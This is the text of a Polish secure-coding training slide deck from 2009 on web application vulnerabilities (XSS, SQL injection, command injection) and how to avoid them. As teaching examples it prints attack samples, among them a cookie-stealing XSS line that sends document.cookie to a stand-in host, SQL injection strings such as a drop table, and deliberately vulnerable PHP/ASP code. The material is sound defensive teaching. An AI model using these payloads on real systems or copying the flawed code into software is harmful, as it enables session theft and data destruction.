Bezpieczeństwo aplikacji webowych Tomasz Nowocień nowocien@man.poznan.pl Zespół Bezpieczeństwa PCSS http://security.psnc.pl Szkolenie Działu KDM PCSS Poznań, 29.04.2009 1
Szkolenie - plan spotkania 10.00 Rozpoczęcie, powitanie, informacje organizacyjne 10:05 Wprowadzenie 10:15 Najpopularniejsze ataki na aplikacje webowe podatności kodu 10:45 Przerwa 10:50 Zasady tworzenia bezpiecznego kodu, ochrona danych unikanie podatności 11:30 Podsumowanie 2
Informacje organizacyjne Ankieta krótka anonimowa bardzo pomocna w organizacji przyszłych szkoleń Lista obecności nie jest anonimowa ;-) proszę zaznaczyć, jeśli NIE Ŝyczycie sobie Państwo otrzymywania informacji o kolejnych szkoleniach Prezentacja dostępna na stronach WWW: http://szkolenia.man.poznan.pl http://security.psnc.pl 3
Zespół Bezpieczeństwa PCSS Dedykowany zespół istnieje od 1996r. Podstawowy zakres prac Zespołu Zabezpieczanie infrastruktury PCSS Zadania bezpieczeństwa w projektach R&D Szkolenia i transfer wiedzy Badania własne Audyty i doradztwo w zakresie bezpieczeństwa IT Niektóre badania z ostatnich lat Bezpieczeństwo bankowości elektronicznej (2006) Bezpieczeństwo serwerów WWW Apache i MS IIS (2007) Bezpieczeństwo sklepów internetowych (2008) http://security security.psnc.plpl 5
Szkolenia ZB PCSS Szkolenia Działu KDM http://szkolenia.man.poznan.pl Szkolenia Centrum Innowacji Microsoft Bezpieczeństwo heterogenicznej platformy hostingowej (IIS + PHP, MySQL/MS SQL) 8.06 (Warszawa), 25.06 (Poznań) Omijanie firewalli w systemach Windows (warsztaty) 18.06 (Poznań) http://mic.psnc.pl/szkolenia MoŜliwość zgłoszenia własnego tematu szkolenia 6
Wstęp 7
Czym ta prezentacja nie jest Kursem hackingu Kursem programowania Kursem administrowania Kursem testowania 8
Po co to szkolenie? śeby przybliŝyć problemy pisania kodu bezpiecznego 9
Co oznacza bezpieczny kod? Czy ma poŝądaną funkcjonalność? Czy posiada wymagane opcje? Czy jest odporny na błędne dane? 10
Po co tworzyć bezpieczny kod? 9 wymówek (Writing Secure Code): 1. Nikt tego nie zrobi. 2. Dlaczego ktoś miałby to zrobić? 3. Nigdy nie zostaliśmy zaatakowani 4. Jesteśmy bezpieczni stosujemy kryptografię 5. Jesteśmy bezpieczni stosujemy listy ACL 6. Jesteśmy bezpieczni stosujemy zapory firewall 7. Dokonaliśmy rewizji kodu i nie znaleźliśmy Ŝadnych błędów w zabezpieczeniach 8. Jasne, Ŝe opcja ta jest domyślna, ale administrator moŝe ją wyłączyć 9. JeŜeli nie zostanie to uruchomione w kontekście konta administratora, to wówczas nie zadziała 11
Czy programista musi się przejmować? Za system odpowiada administrator System jest chroniony przez oprogramowanie (firewall, IDS/IPS) UŜytkownicy są przeszkoleni WdroŜeniowcy znają dobrą konfigurację 12
Programista musi się przejmować! Idea Defence in depth - chronimy dane na kaŝdym etapie: nie moŝna wierzyć administratorom nie moŝna wierzyć uŝytkownikom nie moŝna wierzyć wdroŝeniowcom 13
Czy moŝna bezbłędnie napisać oprogramowanie? Na kaŝde napisane 1000 linii kodu przypada 15-30 błędów!! źródło: Badania Carnegie Mellon University s CyLab Sustainable Computing Consortium 14
Podatności aplikacji webowych 16
XSS XSS = Cross Site Scripting wykonywanie skryptów międzyserwisowych Przebieg ataku aplikacja webowa otrzymuje od napastnika złośliwe dane, np. w postaci odpowiednio sformatowanego linku napastnik skłania ofiarę do kliknięcia w link przeglądarka ofiary generuje stronę zawierającą złośliwe treści złośliwy kod zostaje wykonany w przeglądarce z uprawnieniami korzystającego z niej uŝytkownika 18
XSS przykład (1) ASP <html><body> Witaj <% response.write(" " & request.querystring("imie")) %> </body></html> PHP <html><body> Witaj <?= $_GET[ imie ]?> </body></html> 19
XSS przykład (2) http://podatnyhost.xx/witaj.php? imie=ala<script> alert(document.cookie)</script> 20
XSS - zagroŝenia KradzieŜ danych sesyjnych <script>document.location= http://www.atakuj.xx? a= +document.cookie</script> Nieautoryzowany dostęp do danych i operacji <script>document.location="/admin/delete.php? id=666";</script> Atak DoS na przeglądarkę <MARQUEE><TABLE><MARQUEE HEIGHT=999999> http://lcamtuf.coredump.cx/soft/mangleme.tgz Zaawansowane ataki Skanowanie portów w sieci lokalnej http://www.gnucitizen.org/projects/javascript-port-scanner 21
SQL Injection SQL Injection wstrzyknięcie własnej, dodatkowej treści do zapytania SQL przyczyna: brak lub nieodpowiednia filtracja danych Przebieg ataku napastnik znajduje punkt wprowadzenia danych uŝytkownika, który korzysta z bazy danych wpisuje odpowiednio sfałszowane Ŝądanie napastnik ogląda nieautoryzowane dane w swojej przeglądarce (i / lub serwer baz danych modyfikuje bazę po stronie serwera) 22
SQL Injection - przykład select count (*) from users where username='$_get["user ]' and passwd='$_get["pass ]' 23
SQL Injection - przykład ' or 1=1;-- select count (*) from users where username='' or 1=1;--' and passwd='*******' 24
SQL Injection - przykład set nazwisko = request.form("nazwisko") set objconn = Server.CreateObject("ADODB.Connection") objconn.open <CONNECTION_STRING> strsql = "SELECT * FROM pensje WHERE Nazwisko ='" strsql = strsql & nazwisko strsql = strsql & "'" set objrs = Server.CreateObject("ADODB.Recordset") objrs.open strsql, objconn do while not objrs.eof response.write("<br>") for each x in objrs.fields response.write(" " & x.name & " = " & x.value & " ") next objrs.movenext loop objconn.close 25
SQL Injection - zagroŝenia Atak na poufność (1) SELECT * from users where user= test union select * from admins-- Atak na poufność (2) SELECT count(*) from users where user= test or 1=1-- Atak na integralność danych SELECT * from users where user= test ; insert into zarobki (id, value) values (3,100000000) - Atak na dostępność danych SELECT * from users where user= ; drop table admins-- 26
Wykonanie poleceń systemowych Wykonanie dowolnego polecenia systemowego z uprawnieniami serwera www MoŜe wystąpić, gdy program wywołuje jakiekolwiek polecenie systemowe z parametrami uŝytkownika 27
Wykonanie poleceń systemowych - przykład PHP: <html> <?php $ip=$_get['ip'] echo "Pinging host $ip" passthru (ping -c 4 $ip);?> </html> 28
Wykonanie poleceń systemowych - zagroŝenia ZaleŜne od poziomu przywilejów serwera MoŜe wystąpić atak na: Dostępność Integralność Poufność 29
Unikanie podatności 30
NajwaŜniejszą przyczyną naruszeń bezpieczeństwa jest brak (lub niewystarczające) sprawdzenie danych wejściowych dostarczonych programowi 31
Unikanie podatności Działania techniczne Działania organizacyjne 32
Zapobieganie techniczne Podatności oprogramowania najlepiej wystrzegać się na etapie pisania kodu Sprawdzanie danych wejściowych od strony uŝytkownika Sprawdzanie danych wejściowych od strony systemu (!) Ograniczenie danych wejściowych 33
Pisanie kodu dane wejściowe (1) Tworzenie white list w kodzie HTML Miesiąc: <br>wybierz miesiąc: <select name="m"> <option value='1' selected>styczeń</option> <option value='2'>luty</option>... <option value='12'>grudzień</option> <select> 34
Pisanie kodu dane wejściowe (2) Ominięcie zabezpieczenia : http://podatnyhost.xx?m=13 35
Pisanie kodu dane wejściowe (3) Sprawdzanie danych po stronie serwera! 36
Pisanie kodu dane wejściowe (4) Najbezpieczniejsze podejście White List : if ($_GET['m']==1) $miesiac='styczen'; elseif ($_GET['m']==2) $miesiac='luty';... elseif ($_GET['m']==12) $miesiac='grudzien'; else $miesiac='grudzien'; 37
Pisanie kodu dane wejściowe (5) UŜycie mechanizmów wbudowanych w środowisko PHP $state_tmp = addslashes($_post['state']); ASP ASP.NET 1.1: Validate Request 38
Ufajmy konfiguracji Umiejętne uŝycie mechanizmów wbudowanych w środowisko PHP 4, 5 if(get_magic_quotes_gpc()) { $state_tmp = $_POST['state']; } else { $state_tmp = addslashes($_post['state']); } 39
Nie ufajmy konfiguracji Ale co jeŝeli... magic_quotes_sybase jest włączone? if(get_magic_quotes_gpc()) { $state_tmp = $_POST['state']; } else { $state_tmp = addslashes($_post['state']); } 40
Obsługa błędów Komunikat błędu nie moŝe dawać zbyt wielu wskazówek napastnikowi Przykłady nieprawidłowości: zbyt wysoki poziom raportowania błędów przez serwer WWW: ujawnianie ścieŝek systemowych, wersji serwera... wyświetlanie wewnętrznych adresów IP na dostępnych publicznie stronach WWW wyświetlanie uŝytkownikowi kompletu informacji diagnostycznych po wystąpieniu wyjątku Pełna informacja powinna się znaleźć TYLKO w pliku logu! 41
Dane z baz danych Dane pobierane z bazy danych naleŝy równieŝ sprawdzać dane w bazie mogą być przekłamane Podobnie dane z plików np. obrazek moŝe być złośliwym plikiem wykonywalnym. 42
Zapobieganie organizacyjne UŜywanie jasnej i klarownej notacji zunifikowanej w ramach organizacji lub przynajmniej projektu Jasne i dokładne komentowanie kodu Ponowne wykorzystanie kodu Stworzenie w organizacji procedur testowania oprogramowania 43
Testowanie oprogramowania Testowanie przez osoby niezwiązane z tworzeniem Testowanie w środowisku testowym 44
Środowisko testowe Środowisko testowe powinno: być odseparowane od produkcyjnego działać na realnych danych być podobne pod względem konfiguracji do produkcyjnego 45
Błędy testowania Środowisko testowe toŝsame z produkcyjnym Pozostawienie w produkcie nieuŝywanego kodu Upublicznienie funkcji ujawniających informacje testowe 46
Programy testujące Przykłady: ASP. NET Security Analyser http://www.owasp.org/index.php/ansa RATS Rough Auditing Tool for Security http://www.fortifysoftware.com/security-resources/rats.jsp Pixy http://pixybox.seclab.tuwien.ac.at/pixy inne... 47
Programy testujące Nie wierzmy im do końca;-) False negatives - Pominięcie podatności istniejącej False positives - Wykrycie fikcyjnych podatności Narzędzia wykrywają większość automatycznych błędów Przegląd kodu przez niezaleŝnego programistę jest niezastąpiony! 48
Podsumowanie Nie wierzmy danym wejściowym Nie wierzmy administratorom, wdroŝeniowcom i uŝytkownikom Nie wierzmy danym w bazach danych i systemie Przechwytujmy wszystkie błędy Komentujmy kod WdraŜajmy procedury testowania Testujmy programy 49
Dziękuję za uwagę Pytania, komentarze? nowocien@man.poznan.pl security@man.poznan.pl 50